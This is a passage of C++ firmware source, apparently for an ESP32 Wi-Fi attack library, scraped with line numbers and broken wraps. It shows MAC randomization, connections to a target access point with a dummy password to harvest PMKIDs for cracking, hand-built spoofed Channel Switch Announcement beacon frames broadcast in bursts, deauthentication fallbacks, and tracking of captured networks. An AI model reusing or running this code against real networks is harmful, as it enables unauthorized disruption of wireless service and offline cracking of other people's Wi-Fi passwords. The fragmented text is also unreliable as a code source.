const uint8_t *bssid) {
1889 if (_isCaptured(bssid))
return;
1890 if (_capturedCount >= MAX_CAPTURED)
return;
1893 while (pos < _capturedCount && memcmp(_captured[pos], bssid, 6) < 0) pos++;
1895 if (pos < _capturedCount) {
1896 memmove(&_captured[pos + 1], &_captured[pos], (_capturedCount - pos) * 6);
1898 memcpy(_captured[pos], bssid, 6);
1901 _log(
"[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1904void Politician::_expireSessions(uint32_t timeoutMs) {
1906 for (
int i = 0; i < MAX_SESSIONS; i++)
if (_sessions[i].flags.active && (now - _sessions[i].created_ms) > timeoutMs) _sessions[i].flags.active =
false;
1910#ifndef POLITICIAN_NO_DB
1912 while (left <= right) {
1913 int mid = left + (right - left) / 2;
1916 if (cmp < 0) left = mid + 1;
1917 else right = mid - 1;
1923void Politician::_randomizeMac() {
1924 uint8_t mac[6]; uint32_t r1 = esp_random(), r2 = esp_random();
1925 mac[0] = (uint8_t)((r1 & 0xFE) | 0x02); mac[1] = (uint8_t)(r1 >> 8); mac[2] = (uint8_t)(r1 >> 16);
1926 mac[3] = (uint8_t)(r2); mac[4] = (uint8_t)(r2 >> 8); mac[5] = (uint8_t)(r2 >> 16);
1927 esp_wifi_set_mac(WIFI_IF_STA, mac); memcpy(_ownStaMac, mac, 6);
1928 _log(
"[Fish] MAC → %02X:%02X:%02X:%02X:%02X:%02X\n", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
1931void Politician::_startFishing(
const uint8_t *bssid,
const char *ssid, uint8_t ssid_len, uint8_t channel) {
1932 if (_fishState != FISH_IDLE)
return;
1933 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1934 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0 && _apCache[i].flags.ft_capable)
1935 _log(
"[Fish] Note: AP advertises FT AKM — PMKID may be FT-derived and require FT-aware cracking\n");
1937 _randomizeMac(); esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); _channel = channel;
1938 wifi_config_t sta_cfg = {}; memcpy(sta_cfg.sta.ssid, ssid, ssid_len);
1939 memcpy(sta_cfg.sta.password,
"WiFighter00", 11); sta_cfg.sta.bssid_set =
true; memcpy(sta_cfg.sta.bssid, bssid, 6);
1940 esp_wifi_set_config(WIFI_IF_STA, &sta_cfg); esp_wifi_connect();
1941 memcpy(_fishBssid, bssid, 6); memcpy(_fishSsid, ssid, ssid_len); _fishSsid[ssid_len] =
'\0';
1942 _fishSsidLen = ssid_len; _fishChannel = channel; _fishStartMs =
millis();
1943 _fishState = FISH_CONNECTING; _fishRetry = 0; _fishAuthLogged =
false; _fishAssocLogged =
false;
1945 _log(
"[Fish] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ssid_len, ssid);
1948void Politician::_sendCsaBurst() {
1949 uint8_t frame[100];
int p = 0;
1950 frame[p++] = 0x80; frame[p++] = 0x00; frame[p++] = 0x00; frame[p++] = 0x00;
1951 for (
int i = 0; i < 6; i++) frame[p++] = 0xFF; memcpy(frame + p, _fishBssid, 6); p += 6; memcpy(frame + p, _fishBssid, 6); p += 6;
1952 frame[p++] = 0x00; frame[p++] = 0x00; memset(frame + p, 0, 8); p += 8;
1953 frame[p++] = 0x64; frame[p++] = 0x00; frame[p++] = 0x31; frame[p++] = 0x04;
1954 frame[p++] = 0x00; frame[p++] = _fishSsidLen; memcpy(frame + p, _fishSsid, _fishSsidLen); p += _fishSsidLen;
1955 frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = _fishChannel;
1956 frame[p++] = 0x25; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = 0x0E; frame[p++] = 0x01;
1957 for (
int i = 0; i < _cfg.
csa_beacon_count; i++) { esp_wifi_80211_tx(WIFI_IF_AP, frame, p,
false);
delay(15); }
1958 _log(
"[CSA] Sent burst on ch%d\n", _fishChannel);
1961void Politician::_processFishing() {
1962 if (_fishState == FISH_IDLE)
return;
1963 if (_fishState == FISH_CSA_WAIT) {
1964 if (_isCaptured(_fishBssid)) { _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs =
millis(); _log(
"[CSA] Captured!\n");
if (_autoTarget) {
clearTarget(); _autoTargetActive =
false; }
return; }
1968 const uint8_t *known_sta2 = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
1970 _log(
"[Attack] CSA fallback triggered — sending Deauth burst\n");
1973 if (!_csaSecondBurstSent && (
millis() - _fishStartMs > 2000)) {
1974 _csaSecondBurstSent =
true;
1975 if (_attackMask &
ATTACK_CSA) _sendCsaBurst();
1977 const uint8_t *known_sta2 = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
1980 _log(
"[CSA] Burst 2\n");
1982 if (
millis() >= _probeLockEndMs) {
1983 _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs =
millis();
1985 _log(
"[CSA] Wait expired\n");
1986 if (_attackResultCb) {
1987 AttackResultRecord r; memset(&r, 0,
sizeof(r));
1988 memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
1992 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1993 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
1995 _markCaptured(_fishBssid);
1996 _log(
"[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
1997 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
2003 if (_autoTarget) {
clearTarget(); _autoTargetActive =
false; }
2007 if (_isCaptured(_fishBssid)) { esp_wifi_disconnect(); _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs =
millis(); _log(
"[Fish] Captured!\n");
if (_autoTarget) {
clearTarget(); _autoTargetActive =
false; }
return; }
2008 if (
millis() >= _probeLockEndMs) {
2009 esp_wifi_disconnect();
2011 _fishRetry++; _log(
"[Fish] Timeout retry %d\n", _fishRetry); _randomizeMac();
2012 _probeLockEndMs =
millis() + _cfg.
fish_timeout_ms; _fishAuthLogged =
false; _fishAssocLogged =
false; esp_wifi_connect();
return;
2015 _log(
"[Attack] Switching to CSA\n"); esp_wifi_set_channel(_fishChannel, WIFI_SECOND_CHAN_NONE);
2016 memset(_fishSta, 0, 6);
2024 _csaFallbackMs =
millis() + 1000;
2029 _fishState = FISH_CSA_WAIT; _probeLocked =
true; _probeLockEndMs =
millis() + _cfg.
csa_wait_ms; _csaSecondBurstSent =
false;
2031 _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs =
millis();
2033 _log(
"[Fish] Exhausted\n");
2034 if (_attackResultCb) {
2035 AttackResultRecord r; memset(&r, 0,
sizeof(r));
2036 memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
2040 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2041 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2043 _markCaptured(_fishBssid);
2044 _log(
"[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
2045 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
2051 if (_autoTarget) {
clearTarget(); _autoTargetActive =
false; }